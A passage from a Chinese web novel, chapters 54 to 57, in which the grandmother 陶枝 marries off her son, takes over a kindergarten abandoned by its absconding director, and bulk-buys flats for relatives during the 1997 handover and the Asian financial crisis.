“那至少还得两年,建好后还要装修,您一竿子给支到三年后了。”
“你还年轻,三年而已,完全等得起。”陶枝很淡定。
程晙急了:“可是我想早点结婚。”
陶枝说:“我当初问过你的,你自己说买房掉价。”
“当时我年轻不懂事。”
陶枝摊手:“现在我老了没能力。”
程晙小心翼翼的:“我能不能,先拿大哥那套房啊?”
“那你找你哥商量啊,我又不能替他做主。”
程晙陪笑道:“那也得您点头了,我才好向大哥开口。”
陶枝看在他帮扶程晖的份上,给足了程晙这个面子:“我没意见。”
程晙转向老爸,程向前也说可以,他乐得一蹦三尺高,对着陶枝他俩作揖,“谢谢老爸,谢谢老妈,你们很快就就有儿媳了。”
陶枝略显诧异:“不需要我和你爸去提亲?”
“那还是要的。”
陶枝朝他甩手,示意他快点滚。
送孙子去幼儿园后,程向前才问:“你当真同意程晙的婚事?”
陶枝笑了笑:“你没看出来吗,你儿子早就一头栽进去了,这才谈了几个月,就迫不及待要把人娶回家。我拦得了一时,还能拦得住一世?太多的例子证明,家里越是反对,年轻人的感情越弥坚。前路是苦是难,就让程晙自己去趟吧。”
老头子牵起她的手:“看来这门亲家,我们得远着点了。”
陶枝拍拍他:“距离在这里,想近也近不了,我们紧着自己的荷包才是正事。”
“此话怎讲?”
“你好儿子现在手更松了,这种事有一就有二,我们自己备好养老金吧。”
“难道他还能不管我们?”
陶枝不想打击他:“儿有不如自己有。打个比方,你一个月要花一千,儿子只能给你一百块,他没有不管你啊,但这种生活你想要吗?”
“再说句不好听的,万一儿子忙得脱不开身,把养老钱给了儿媳妇,到时候在儿媳手里讨生活......”
程向前的脸色都变了。
“好啦,我们不给子女添负担,孩子不给我们找麻烦,这就是父慈子孝了。我们两个也算年轻,趁机多挣点钱,花钱不用看谁脸色,自己想干嘛就干嘛,这日子岂不是美滋滋?”
“那我们还建房子吗?”老头子问。
“当然要建,程曼在部队发不了财,百年之后我得给她留点念想。”
“那我们住的这套,为何不直接给程晙?”
“你想和他们挤作一团?”
老头子瞪她:“怎么可能?”
“那不就得
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了,我们还要住呢,总不能他结个婚,我们还得腾地方,没有这种道理。”
老头子答不上来,“但程晖就没房了。”
“不着急,等他手头有点钱,再把这套转给他。”
“行,都听你安排。”
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程晖一听,房子可以抵债务,他麻利地转给程晙了,至此他感到一身轻松。
陶枝更坚定了要赚钱的决心。
程晙的速度很快,房子过户后立马装修,小两口时不时过来监工。三个月之后,装修好了,程晙就去敲定时间,然后开车载着爸妈,回老家去向卫家提亲。
看在十万礼金的份上,卫家很轻易就松口了。陶枝把三金打开,当场给卫红霞戴上,收获了一圈羡慕的目光。
高档的烟茶酒都留下了,卫红霞的爸妈弟妹,每个人还有两套新衣服。亲家在送陶枝的时候,很是依依不舍的样子,陶枝只好再三劝她留步。
东西说少也不少,都是比照着程星和程晖。他们结婚时有的,陶枝也都给备上了;他们结婚时没的,陶枝是一分也不多出。
大家都有事要忙,没法在老家留太久,因此婚礼很快提上了日程。
厂房都出租了,家里没场地,改在酒店举行婚礼。整场婚宴都很隆重,程晙自己贴了不少钱。陶枝没有出彩礼,那么礼金她也就不收,直接留给了程晙小两口。
事情一办完,陶枝归心似箭,她不等小两口了,拉着老头子就坐车回S市。
陶枝一到家,程星连忙甩脱身,跑去忙工厂的事情。这半个月她是焦头烂额,老爸老妈都不在,她顾得了小的,就顾不上工厂那边;管得了事业,又没空盯着小娃娃。现在老妈一回来,她终于可以卸下重担了。
明明和小今扑上来,一人抱着陶枝一条腿,小奶音甜腻腻的:“奶奶,我好想你呀。”
陶枝一手抱一个:“奶奶也想你们,这几天乖不乖,有没有好好吃饭?”
程今扁嘴:“阿姨做的饭不好吃。”
“是幼儿园的阿姨吗?”陶枝摸她的笑小脸,没有瘦呀。
程明澄摇摇头,他满脸兴奋地说:“我们跟姑姑一起上班,还认识了好多人,知道了好多机器。那么大那么大的机器,声音轰隆隆的,好酷呀。”
程今则小小声说:“脏。”
陶枝暗骂,这程星,也太不靠谱了。“那下次还想去吗?”
程明澄爬到陶枝的怀里,“不去了,我想和奶奶在一起,还有幼儿园的小朋友们。”
程今有样学样:“我也是。”
陶枝感动得,心都要化了。她摸摸宝宝们的肚子,有一点点扁了,她问:“要不要出去喝早茶?”
明明吸溜一下口水,他跳下地去抓陶枝的手:“要要要,奶奶我们走吧。”
程今这个跟屁虫:“奶奶我们走吧。”
陶枝乐得哈哈笑,她的快乐又回来了。
过了几天,陶枝接到电话,程大川他们业已学成,来向大伯大伯娘讨意见。
陶枝说:“有一个算一个,快点来吧,程晙那边正缺人。”
程大川问:“大伯娘,那孩子......”
陶枝斩钉截铁:“都带来,白天送去幼儿园,晚上你们再接回家,剩下的我来搞定。”
程大川也很果断:“那我和他们说,买了票再告诉您。”
陶枝一口答应:“没问题。”
54. 第 54 章
程大川这一行人,大约有二十个左右,程晙那边只有板房,怎么看都不合适住。
陶枝挂了电话,匆匆出门去。她在幼儿园附近打转,看有没有什么房子出租。
刚路过村口,她远远就听见喧哗声,纷纷扰扰的,不知道在吵些什么事情。
陶枝绕过人群聚集的地方,她打算直接往下一个路口去。
忽然,一道尖利的女声响起:“这么大个人,说跑就跑了,你作为房东,难道没有一点责任?”
话音刚落,就有人冲进院子,把一个瘦弱的老头子,从房子里给拉扯出来。
有人跟着喊:“老宋头,要么你把园长交出来,要么你就赔我们的钱。”
周围的人也在应和:“对对,房东该赔。”
陶枝停下了脚步,她站在最外围,高高地把耳朵竖起来。
有人在哭天喊地:“那可是我辛辛苦苦挣的的血汗钱......”
真是闻者伤心,有不少人在跟着抹眼泪。
还有人揪着老头子:“老宋头,你和他是不是一伙的?不然怎么那么巧,大家都去看回归排练了,他偏偏挑这个时候跑路?”
陶枝悄悄问旁边,明显也是看戏的人:“大姐,怎么回事啊?”
大姐凑近她,压低声音说:“路口那家幼儿园,园长卷款跑路啦。”
“哪个路口?”
大姐指给她看:“前面大马路,左转直走,走到十字路口,很大一片地那里,就有个幼儿园。”
陶枝听着她的描述,在脑海里面画地图,这路怎么越看越眼熟?她一惊,这不是明明和程今上学的地方吗?
陶枝瞬间不淡定了,她抓着大姐的手问:“那孩子们呢?”
大姐被抓得生疼:“痛痛痛,你快撒手。”
陶枝立马松开手,她不好意思地道歉,大姐倒是挺同情她:“你孩子也在那里?”
看到陶枝点头,大姐反而拍拍她:“孩子还在园里,有老师们看着呢,这个倒是不必担心。”
“那这里是?”
“幼儿园的房东。家长找不到园长,就想找房东赔偿,听说还拖欠了老师的工资。”
陶枝大惊失色,要不是她这趟出来,怕是半点消息都收不到。钱不钱的她没空管,她立马跑去幼儿园,出了这些糟心事,她得先把小宝贝带回家。
平时的幼儿园,欢声笑语的,哪像现在,站在门口都听不到声音。
保安也不在了,陶枝大力拍门,还高声叫程明澄和程今的名字。等了半天,都没见有人出来,陶枝挽起袖子准备翻墙了,才看到有个人正小跑过来。
“呼呼呼——”高老师在大喘气,“陶阿姨,您怎么来了?”
“我来接孩子回家。”
高老师示意陶枝看门,那里缠了几道铁链,上面还挂了大铁锁。“家长们怕我们跑,把我们都锁起来了。”
陶枝扯了扯,铁链得有小孩臂膀粗,哗啦啦的声响,在略显空旷的幼儿园里,听起来倒是有点吓人。
陶枝说:“没事,这锁防君子,防不住女人,你往后退一点。”说完她蹬几下,跐溜攀上了大门,一个翻身轻巧落了地。
高老师当场石化在原地,陶枝拍拍她:“带我去找程今他们。”
她回过神来,再看看大铁门,好像也不是很高哈。
但现在不是想这个的时候,她在前面带路,陶枝跟在后面,一直去到幼儿园后面,那里有两栋老师的宿舍。一楼是个大大的阅览室,此时窗户紧闭着,怪不得在前门听不到声。
一打开门,上百个小孩子挤在那里,那巨大的音浪,差点就把天花板给掀了。
陶枝站在门口,她背着光,用目光来回在搜寻。
“奶奶,奶奶。”角落里挤着一个小胖子,头发乱糟糟的,像被鸡扒过一样;衣服也皱巴巴的,像是刚擦过地的抹布。
陶枝定睛一看,“明明。”
程明澄还在拼命往外挤,陶枝上前,一只手把他拎了出来。“小今呢?”
“在我后面。”程明澄回头一看,“咦,小今呢?”
陶枝盯着明明出来那地方,有个小脑袋在蛄蛹蛄蛹,只是因为太矮小了,一时不容易察觉到。
“哥哥,姐姐,让让。”小程今使了吃奶的劲,好不容易自己钻了出来。她扒开自己脸上的头发,露出一排小米牙,笑得可甜可甜了,跑过来抱陶枝的腿:“奶奶。”
陶枝一把将她抱起来,“小宝贝今天乖不乖?”
“很乖很乖。”程今插着小腰说。
这一屋子的小朋友,说话但凡小点声,都会被淹没在各种尖叫里。高老师把陶枝带到隔壁房间,还顺手给倒了两杯白开水。
陶枝满怀歉意:“高老师,你们辛苦了。”
高老师苦笑:“辛苦倒是其次,做幼师就这样,不过看到孩子的笑脸,有时候再累也觉得值。现在是工资拿不到,家长还把怒火撒向我们,我们都不知道要怎么办。”
“查园长要跑路,就一点前兆都没有?”
“说出来怕您不信,我们是真的没发现,上个月没有发工资,园长说香港回归,他捐了一笔钱出去,要等到这个月再发,我们都傻乎乎的信了。”
“这个不能怪你们,好多人都捐了钱,就为了共襄盛事,为祖国贡献一份力量。”
程明澄看奶奶在聊天,他就跑回阅览室,和小伙伴们一起玩耍。程今乖乖窝在陶枝的怀里,大眼睛扑闪扑闪的,专心听着大人们聊天。
高老师也说:“是啊,老师们也都捐了,谁能想到,这个畜生竟然拿这种事来骗人。”
陶枝突然发问:“高老师,查园长一共欠了多少工资?”
“十五位老师,每人平均800块,三个月的时间,得有三万六了。”
“您知道这里的租金吗?”
“好像是一万八左右。”
陶枝算了一笔数,一个学生每个月三百,算它一百二十人,那就是每月三万六。再加上伙食费,还有运营费用,查园长居然不挣钱?陶枝啧啧几声,怪不得他要跑路呢。
陶枝有个想法,不过她还要再看看,于是她问高老师,“我可以在园里到处走走吗?”
高老师能感觉出,陶枝没有怪责他们,她也希望陶枝留下,等其他家长来的时
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候,能站在家长立场帮忙说几句。于是她说:“请便。”
陶枝抱着程今到处溜达,小程今给外婆介绍:这里是做什么的,那里又是干嘛的。走了一圈之后,她心里有了决断。
过了一个多小时,才看到乌泱泱的,过来一大群人,正是刚刚那帮家长。
他们把大门打开,一个接一个的,去阅览室找自家的孩子。
陶枝提前把程明澄提溜出来,她也没有先走,就站在转角的地方,看能不能听到一点下文。
有妈妈还在哭:“等下回去,我都不晓得,要怎么和家里开口?”
爷爷奶奶们也叹气:“都怪我,如果不是我说这里离家近,也许就不会被骗这一千多了。”
爸爸们就很愤怒:“掘地三尺,也要把他挖出来。”
还有一些别的声音:“没想到老宋头也被骗了......”
陶枝听到这里就明白了,她看没人对老师做什么,她干脆一手一个,先抱着小宝贝们回家。
到了晚上,小孩交给程星之后,陶枝回到自己的房子,才把这事告诉老头子。
老头子说:“这人一走,改头换面,上哪找去?”
陶枝也赞同:“机会渺茫。”
“那明明和小今,明天重新去找学校?”
陶枝正襟危坐:“我有一个想法。”
程向前看了她几眼,“不会是我想的那样吧?”
陶枝露齿一笑:“就是你想的那样。”
“早在你给东山村建幼儿园,我就该想到的。”老头子直拍大腿。
陶枝拉住他的手:“程哥,你怎么想?”
“你不是说要周游世界吗?”
“再等个几年,等基建再发展一下,航班也更多一点,你觉得呢?”
老头子摇头:“我想什么,也没用啦。”
“对了,大川他们要过来,拖家带口的,小孩子也带着一起。”
老头子眼睛亮了:“什么时候?”
“应该就这几天了。”
“好好好,那他们住哪里,都安排好了吗?”
陶枝扑哧一笑:“就因为他们来,我才下定决心,要管幼儿园这事的。”
程向前回想一下,幼儿园占地够大,房子也多,容纳几十号人,完全没有问题。并且陶枝把幼儿园接过来,起码孩子们的午托晚托,就不用侄子们操心了。想到这里,老头子也佩服陶枝,,一举两得,这事完全可以干。
他这下是真心实意的了:“那明天我陪你,去问问房东怎么租?”
陶枝说:“不必着急,我现在都是听来的消息,当不得真,我叫程晙先去查一下。”
“我们等得起吗?”
陶枝定定看着他:“我有个更大胆的想法。”
老头子先深呼吸,等到心情平稳了:“你说。”
“如果可以,我想把那块地拿下。”
程向前倒吸一口冷气:“刚存了一点钱,你就惦记上了?我们的房子不建了?”
陶枝握着他的手:“程哥,你相信我,推迟一点点而已。”
老头子愤愤地抓起了头发。
55. 第 55 章
陶枝帮他理了理头发:“别装了。”
“这都被你看出来了?”
“你的嘴角出卖了你。”
老头子哈哈大笑:“要不怎么说咱们有默契呢。”
“这话怎么说?”陶枝感到疑惑。
“房价开始暴跌,在海南和北海,有数不清的空置房和烂尾楼,我看S市也难逃一劫。趁着这个机会,我们多收一点物业。”
“那幼儿园那块地?”
“你最好打消这个念头,像这种集体所有制的土地,几乎不可能私人买卖。”老头子给她科普道。
“以租代售呢?”
“我并不建议,这是在走法律的擦边球。万一以后有点什么事,或者对方突然反悔了,没有法律条文的保护,我们的投入随时可能打水漂,得不偿失。”
政策如此,陶枝也没辙,只好断了这念想,嘴角不由分说的垂了下来。
老头子开导她:“你与其想着夯实硬件,还不如拿这钱,好好打造下软件设施。等到后续有经验了,再为它添砖加瓦,再考虑买地建园也不迟,你认为呢?”
“你的意思是,改善幼儿园环境,同时提升师资力量?”
“把孩子培养好,才是最重要的,不是吗?”
既然如此,那查证的事,可以先放放,不着急拿结果。
事不宜迟,就算孩子们可以等,老师们也未必能留,第二天陶枝就上门找房东去了。
当然,她留了个心眼,就怕有些坏账烂账,她接手后牵扯不清,于是她请了位律师陪同,老头子自然也和她一起。
老宋头一听陶枝说,准备要接手幼儿园,激动得话都说不出来。虽说查园长跑路,和他没有直接关系,但因为他人就在这,必须得替人受罪,被家长堵得苦不堪言。
他再听陶枝说,只要拿得出单据,就承认学生交过的费用,不会要求家长再交一遍。并且老师的工资,也都会给补全了,争取把老师们都留下来。老宋头听完,更是感动得无以言表。
于是他开口了:“既然陶老师这么有爱,那我也出一点点力,就免两个月的房租吧。”
程向前比陶枝快一步,上前握住老宋头的手:“感谢宋大哥,您善人有善报。”
大家都乐见此事成功,老宋头先带他们去教育局,得到了允许《办学许可证》变更的保证,老宋头才和陶枝签订合同。
陶枝拿着这份合同,去到幼儿园,召开了员工大会。她当场表态:“三天内结清欠薪,愿意留下的老师,工资将暂时不变,等工作上了正轨,到时再论功行赏。”
同时她任命高老师为临时负责人。
陶枝把那位律师留下,再请了一位会计师,先行清点园内的固定资产,同时核查所有未支付的款项。查账期间,发现查园长居然,以幼儿园的名义,借贷有私人欠款。幸得律师早早帮她排雷,陶枝感谢自己有先见之明。
她向教育局提供了《民办学校办学许可证变更申请表》,同时提供了自己的身份信息,还有一张几十万的存款证明。
她和留任的老师,园里的工作人员,还有新的供应商,都重新签订了合同。
在这期间,孩子们照常上学,老师们照常上课,可能是房东出面说明了,反正暂时没有家长来闹事。
等到新的《许可证》拿到了,陶枝才召开家长会。她一上台,就来一个下马威,重申了学费的问题,但是没有收据的,或者想要退费的,那是一概不允许。如果有不同意见,会后可以找律师去咨询。
而后,她一改强硬作风,变得和沐春风了:“各位家长,如果对幼儿园的建设,有更多更好的意见,欢迎随时提出来,我们一定虚心接纳。”
至此,才算把幼儿园这摊事,基本上给理顺了,但后续肯定还需要整改,以求进步的。
程大川已然来到,陶枝一事不烦二主,找老宋头给介绍,租了一栋三层的小楼,这就把大大小小二十多人,一下子给安置好了。
程晙那边还是工地,程大川他们,更熟悉装修这一块。虽然程晙说了,给他们介绍别的楼盘,但暂时他们还没活干。
陶枝还记得,借钱给程大川买房的事,她把这事告诉了程向前,老头子举双手手脚赞成。甚至,老头子还提议:“如果我们买得多,看能不能和开发商谈,让侄子们付个首付上车也好。”
程向前没把这话给说出来。他只和侄子们说,先去踩踩地盘,熟悉一下S市,说不定能找到什么活。
大家都很听话,于是,在把侄子的宝宝们,一串都送进幼儿园后,陶枝和程向前,就带着一行人,去扫荡全市各大楼盘。
皇天不负有心人,他们看完了市区的房子,开始转战到郊区去。在近郊的区域,就离市区隔了两条马路,房价居然低到两三千块一平方,而且这样的房子还不少。
程向前算了一笔账,这里有十个侄子辈,就按两千五一平方算,70平左右的房子,首付四到五成,那么总共就是八九十万。如果他们也是按揭的话,那么他和陶枝,也能拿它十套八套房。这样计算,他心里就有数了。
他们耗费了几天时间,把这个区的地皮都给踩熟了,列出了三个合心意的楼盘。
老头子特地开上桑塔纳,陶枝也好好打扮一番,两人直接找上销售科,开门见山就说要买20套房。
前台的小妹妹,眼神都呆滞了。她回过神之后:“20......20套?这边请,您稍等一下,经理马上就到。”她一出会客室的门:“经理,王经理!”那声音高亢的,感觉能把玻璃震裂。
王经理一进门,堆起满脸的笑容:“叔叔,阿姨,您二位眼光真好,我们这个楼盘......”
老头子打断他:“经理你好,市场的情况如何,你我都是心知肚明。贵公司的楼盘我们考察过了,我们愿意在这个时候接手,也是因为对你们承建方有信心。但是,谁的钱也不是大风刮来的,我也要对家庭的资金负责。所以,我们有三个条件:价格,首付,按揭。请问你都能做主吗?”
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王经理擦了擦汗,“叔叔,您请说。”
程向前扔下一颗炸弹:“第一价格,20套打包卖,我要一个清盘价,现在挂牌价的八折。”
王经理跳起来:“叔叔,这不可能。”
陶枝站起来:“那很遗憾,我们只能换一家了。”
王经理立马挡在门口:“叔叔阿姨,请留步,留步。我做不了这个主,我请示一下总经理,您二位稍等一下。”
十分钟之后,陶枝他们换了个办公室。在场的除了张总经理,还有财务总监也在。
张总说:“程先生,陶女士,感谢您二位的认可,这个八折的价格,我咬咬牙给您批了。但是,这笔钱至关重要,所以请问付款的方式是?”
陶枝回答:“张总爽快,我们也明人不说暗话,我们希望首付是两成,其他八成做20年按揭。”
财务总监立即回应:“没有这个先例,规定都是三成首付,两成的风险太高了,银行那边也不可能通过。”
程向前立马接话:“如果是三成首付,那么我有一个条件。”
张总很感兴趣:“您请说。”
程向前说:“其中的十套房,我打算写侄子们的名,但是他们刚来本市,没有收入和工作证明,那么需要贵公司帮忙担保,保证他们能够顺利按揭买房。”
张总和财务总监面面相觑,谁也没有轻易接过这个话题。
沉默在蔓延,过了好几分钟,财务总监才说:“我得先和银行沟通一下。”
陶枝这才翻开底牌:“如果能谈下来,在三成首付的基础上,我可以再按揭五套房。”
二十五套房?将近三个单元了。
张总这下站了起来:“陶女士,您二位请放心,如果您的资质没问题,银行查验有还款能力,我亲自和银行签《保证合同》,为这笔按揭贷款提供担保。”
“那利率的问题?”陶枝问。
“争取给您打个折。”
程向前这下露出了真心实意的笑容:“感谢张总,合作愉快。”
张总握住他的手:“感谢您二位的支持,我做主送您两个车位。”
陶枝也心满意足了。
他们开始签订《认购协议书》,明确了所选的房号,总面积,打包总价,约定的首付比例等条款。并且规定了,若开发商反悔,定金双倍赔偿;如果陶枝反悔,则定金一分不退。
陶枝麻利去银行,提取了一大笔钱,支付了这25套房的定金。
回到家之后,她叫程曼赶紧请假回来,不必要去挤火车,直接去机场买票飞回来。
程晙问:“可以登记在红霞名下吗?”
对于房子之后的归属,陶枝管不着,但现在她不可能干这事。于是她很平静的说:“你可以选择不要。”
程晙笑嘻嘻,“老爸老妈给的,怎么能往外推呢?这叫恭敬不如从命。”
程向前这才把买房的消息,告诉那十个侄子们,这下子真是惊呆了一群人。
56. 第 56 章
程向前这消息一出,对于老家的人来说,说是天上掉金子也不为过。
侄子们面面相觑,不懂该怎么接话。说不要吧,有点违心;但是要吧,心里又过意不去,毕竟首付也不是笔小钱。
还是陶枝出来打圆场:“首付好办,写个借条,到时慢慢还。要紧的是,每个月要还月供,这笔钱你们算过没?”
一看他们茫然四顾的眼神,就知道消息还没发酵完成。
陶枝拉他们坐下:“首付只有三成,贷款可是有七成。分二十年还清,加上利息的话,每个月要还五百块左右。”
陶枝这话,不亚于扔下一枚炸弹,把他们轰得外焦里嫩。
“五......五百块?”
就连程大川,话也说不利索了。
陶枝不禁扶额,都跑了这么多天,只顾着看花花世界了,对行情是半点也没上心啊。
“你们今天,每个人都给我出去转,扩大范围去了解一下,装修工人在S市的收入。晚上你们自己分享情报,明天一早,我们要听到肯定的答复。”
陶枝和老头子先回去了,留空间给他们自行消化。
开发商安排好了,明天大开方便之门,在销售中心直接“一站式办理”。
所以没什么时间给他们考虑,是被说服还是被劝退,这事就交给老头子去跟进。
第二天,陶枝和儿女们,一行五人先到销售中心。
现场有三拨人:开发商合同专员,银行信贷员,和专门的律师。
在家就商议好了,十五套房,孩子们每人三套,程向前也拿三套,送的两位个车位,也挂在老头子的名下。刚好,一栋楼就是十二套,程晖他们四兄妹,直接拿下一整栋。以后出租也好,自住也罢,一家人怎么都好商量。
而老头子那三套,等他和侄子们来了再选。
陶枝特地打的时间差,就为了自家先办手续,免得在亲戚面前太过打眼。
程晖排第一,他先和开发商签《商品房买卖合同》,然后再去到信贷员那,填写《个人抵押贷款申请表》。把相关资料填好之后,他去到律师那里,办理合同公证手续。
程星在后面接龙,接着是程晙,最后轮到程曼,三人把同样的过程都走了一遍。
程曼把这些手续办完,就要赶回学校去,七一香港回归,组织给她交代了任务,她得回去加紧时间排练。后续的事情,陶枝会处理的。
程晙约了人,程晖得赶回工厂,就只有程星去送妹妹了。
大家就此分开后,陶枝没有等太久。侄媳妇们一个个的,扯着侄子们的耳朵,全部都过来了,没有一个人掉队。
陶枝默默竖起大拇指,面对她促狭的眼光,老头子无奈地笑了笑。
流程和之前一样,不过多了选房环节。每家选好自己喜欢的,就坐下和开发商签合同。等这25份合同都签完,陶枝立马去银行进行大额转账。
因为走了“绿色通道”,银行审批的时间不算久。拿到《贷款承诺书》后,大家就去房产局,办理《预购商品房抵押权预告登记》。这就意味着,虽然还没拿到房产证,但房子已经切切实实的,登记在他们的名下了。
钥匙都拿到之后,陶枝拿一套房出来,给他们练手,算是先打造一个名片。她说:“只要这房子装得好,高过市场的平均分,那么我敢保证,这方圆十里,都将是你们的准客户。”
饭不能直接喂到嘴里,陶枝就说这么多,剩下的就靠他们自己了。反正有什么事,还有老头子担着,陶枝不必操心这些。
剩下那两套,就简单装一下,到时拿来出租。她把重心放回幼儿园,把这段时间的设想,一步步着手去实施。
陶枝看上了背后的空地,她想把幼儿班给分开,实行灵活托管模式,为没有假期的家长服务。
她先去找了房东,老宋头说可以扩建,但是要有关部门审批。陶枝现在没有别的人手,只能把高老师派去跑衙门。
第二个就是降学费。她和老头子研究了很久,其实把收费降低一点,可以招徕更多的生源。因为附近这几条街道,就只有这一家幼儿园,陶枝希望惠及更多的家庭。不过这得下学期才能实施了。
有了,陶枝灵机一动,她可以定个开放日,邀请家长来参观啊。这样不仅能安父母的心,还能把学校给宣传出去,一举两得。场地没那么快批,那她就先办暑假班,她得赶紧和老师们聊一聊。
那第三个事情,就安排涨薪吧。真心换真心,只要对孩子们好,这些都是老师应得的。
得亏她财政自负,只要不脱离教育局划的范畴,她想怎么搞就怎么搞。总之一句话,不管是民办,还是公办,陶
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枝只想良心办。
老头子也支持她,他是这样说的:“我们什么都有了,赚的钱也花不完,生活费又用不了多少。咱把攒的营养费、医药费,这些统统拿出来,做一点有意义的事情。心情舒畅了,身体就棒棒,说不定连医院都不用再光顾,那样的话我们真是赚翻了。”
陶枝倒没想这么多,她只是单纯觉得:钱不花,只会越放越少;如果花得好,这钱就会越来越多。多帮助一个人,就多攒一点福,将来就算不报自己身上,留给子孙后代也好啊,总比留钱给他们败家的强。
在开放日之前,她先拨一点款,把硬件给升级一下。包括教具、玩具、以及工具,还有户外的游乐设施,能换新的都给换了,不能换的也检查整修,使得整个幼儿园,看起来焕然一新。
开放日这一天,幼儿园里热闹极了。络绎不绝的家长,除了爸爸妈妈,还有爷奶,外公外婆,大家都来凑热闹。为避免出什么意外,陶枝请了不少安保过来,主要负责盯孩子们的安全问题。大门也安排人守着,孩子们活动也都在一起,杜绝小孩落单的情况出现。
老师们也打起十二分精神,包括在厨房工作的老师,今天更是使出浑身解数,把儿童餐整得赏心悦目的。营养均衡是必要的,好吃也很重要,摆盘更要漂漂亮亮,让小朋友一看就喜欢上。
本来陶枝是不设餐食的,但是小朋友眼巴巴看着,她一心软,就招待他们一起吃儿童餐,间接收获了一大波好感。
一天下来,所有人都累瘫了。但是成果喜人,当场就有家长报名暑假班,也有小朋友来了就不想走,非得等到幼儿园下课了,才肯跟爸妈回家去。
所有人都就地休息时,陶枝便趁机宣布加薪。一下子,大家的疲惫都消失了,个个都像注了鸡血一样,感觉还能再接待几波家长。
程晖和程星,今天也来接娃了,把两个小家伙,乐得眼睛眯成一条缝,咯咯咯好久都停不下来。
程明澄趁机叫老爸多来接他,程今有样学样,也叫程星多来接她放学。做父母的能怎么办呢?当然是一口答应啦。
老头子在旁幽幽地说:“我可是听到了啊。要是敢骗小孩,哼哼......”
程今也跟着:“哼哼。”
陶枝一推开门,就听到了满堂笑声,“哈哈哈,哈哈哈哈......”
57. 第 57 章
陶枝这边节节开花,程晖那里也经营得风生水起。
有人托关系,把媒说到了陶枝跟前。
陶枝叫老头子去探探儿子口风。
程晖问道:“爸,您和老妈,不会逼我结婚吧?”
老头子瞪他:“你就这么想你妈?”
程晖舒了一口气:“不会就好。”
“你是什么想法?”
“我现在觉得一个人过挺好,不想再找个人来管头管脚。盲婚哑嫁,没有意义。”
“人家会说,你少一个知冷知热的人。”
程晖晒笑:“让别人去说,他们又怎么知道,所有的温柔写意,都是建立在金钱的基础上。”
“不用这么悲观,万一人家看上的是你人呢?”
程晖敬谢不敏:“不必了,同样是花钱,我不如找个阿姨,把生活起居照顾好,把家里弄得干干净净。起码我说东,阿姨不敢说西,我自己不受气,也不用和人分家产,更不必时刻照顾对方的亲戚。一个不对,歇斯底里,大吵大闹的,爸我受够了。”
老头子叹气,拍拍他的肩:“你开心就好。”
程晖开起了玩笑:“没想到,我这么点家底,也会遭人惦记。”
程向前作势要打他:“说的什么话,不看看你妈是谁。”
“爸,我不是毛头小子了,我的生活会自己安排的,您和老妈就放心吧。”
不放心也得放心啊,陶枝一直说要让孩子飞,老头子摇头和她交差去了。
陶枝转告做媒的:“儿子说要自己找,年轻人都讲究眼缘。”
媒人还劝:“年轻人容易害羞,见一见嘛,说不定就看上了呢。”
陶枝笑着回了一句:“他看上没有用,还得过我这关。”
媒人知道糊弄不过去,只好讪讪地告辞了。
从6月30日开始,家里的电视就没关过。全家人只要有空,就会守着电视看直播。
听说程曼能进到现场,陶枝听了,都忍不住要羡慕她。
程晙则带着卫红霞,去口岸和市民们一起,欢送解放军进驻香港,亲眼见证历史的诞生。
全国人民都沉浸在欢乐的氛围中。
但是很快,亚洲金融风暴全面爆发。我们国家,展现了大国的担当,坚持货币不贬值,但同时也付出了不小的代价,国内经济开始倒退。
在这种情况下,企业倒闭,工人下岗,大家都勒紧裤腰带过日子。
房地产跌倒了冰点,程晖的合作伙伴纷纷撤资,他正面临着人生最困难的境地。
程晖连续三天没回家后,卫红霞惊慌失措,哭着找公公婆婆拿主意。
两老一听,都急坏了,赶快出去找人。陶枝在销售大厅逮到他,当时程晙胡子拉碴,躺倒在沙发上,地上滚落不少酒瓶子。一脚踢过去,哐当一声响,他居然没有反应。
陶枝把他拽起来,“儿啊,你这是干嘛呢?”
程晙把头靠在她肩膀:“妈,我心里难受。”
陶枝伸手去摸他的脸,瘦了一圈,她心疼得不得了:“把你的困难说一说,说不定我有办法呢?”
“妈,我缺钱,缺很多很多钱。但市场这么不景气,我还有坚持的必要吗?”
陶枝安抚他:“缺钱不怕,我们可以一起想办法。”
“妈,那是很大一笔资金,我们全家打包卖了,都拿不出这么多钱。”
“儿啊,你先说说看,这房子,你还打算建吗?”
程晙双手挠头,“如果要我放弃,我肯定不甘心。但是——”
“妈有两个不成熟的想法,你要不要听听看?”
程晙抬起头,布满血丝的眼睛,直勾勾地看着陶枝。
“第一,我上次看到过,你的地皮是分期开发,你现在只是建了一个角。那么,你可以把别的地皮,忍痛快速出售,以换取救命的现金流。你只要肯割肉,一定有人愿意接手的。”
“第二个,把已经建好的,一些好的楼层,快速放盘出去。”
“第三,你爸和你哥的厂,也许可以帮你做抵押,或者是过桥帮你贷款。”
“第四,引入新的投资人。”
“第五,你可以将项目转型,譬如之间打算建高端住宅的,现在改为建中等宜居住宅。
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这一下子,项目需要的资金,就能大大减少。”
“第六个,和政府合作。”
程晙越听,眼睛越亮。他紧紧握着陶枝:“妈,您看好这个市场?”
陶枝郑重点头:“我对国家的未来有信心。”
“但是,这黎明前的黑暗,还不知道要多久呢。”程晙又颓然地坐下。
陶枝记得,好像就是明年,就会取消福利分房。然后所有有住房需求的人,都被推向了商品房市场,一夜之间,这个市场就被推动起来了。
“如果你信我的话,明年就会有起色。”
“您是通过什么判断的?”
陶枝给他一巴掌:“银行降息了,你难道没发现?”
程晙摸摸手臂,疼得他一激灵:“这个我知道。”
“那你说说,降息是为了什么?”
“为了刺激消费。”程晙一拍脑袋:“我这猪脑子。利息降低了,人们才更愿意大额消费,房子,车子,家具家电,就会选这个时候入手啊。”
程晙抱了抱陶枝:“妈,谢谢您,您真是我指路的明灯。我自己先去跑跑关系,大不了就卖房卖地。抵押贷款这事就别提了,我怕大哥大姐会想劈了我。”
陶枝扬起了眉毛。
程晙笑笑:“老爸的厂子,肯定是留给我姐的,我猜得没有错吧?”
陶枝揉乱他的头发:“我这么棒的好儿子,哪能被这点困难打倒呢。”
程晙肆意地笑了起来。
陶枝把他带回家,“你洗漱一下,好好睡一觉,不差这一会。”
事情都是一环扣一环,房地产不景气了,砂砖作为上游建筑材料,自然需求量也就少了。所以程晖最近也挺闲的,他一边在家陪儿子,一边研究制砖的材料。
他最近在看国家的政策,看到了“墙体革新”这个概念,又托人找了国外的资料,开始研究砖的未来会怎么改革?
陶枝也没想到,程晖居然是个研究人才,他的性格正适合安安静静的,沉下心来做一件事情。反正她看到了,程晖久违的,自信满满的笑容,如他十八岁那年,一样的青春耀眼。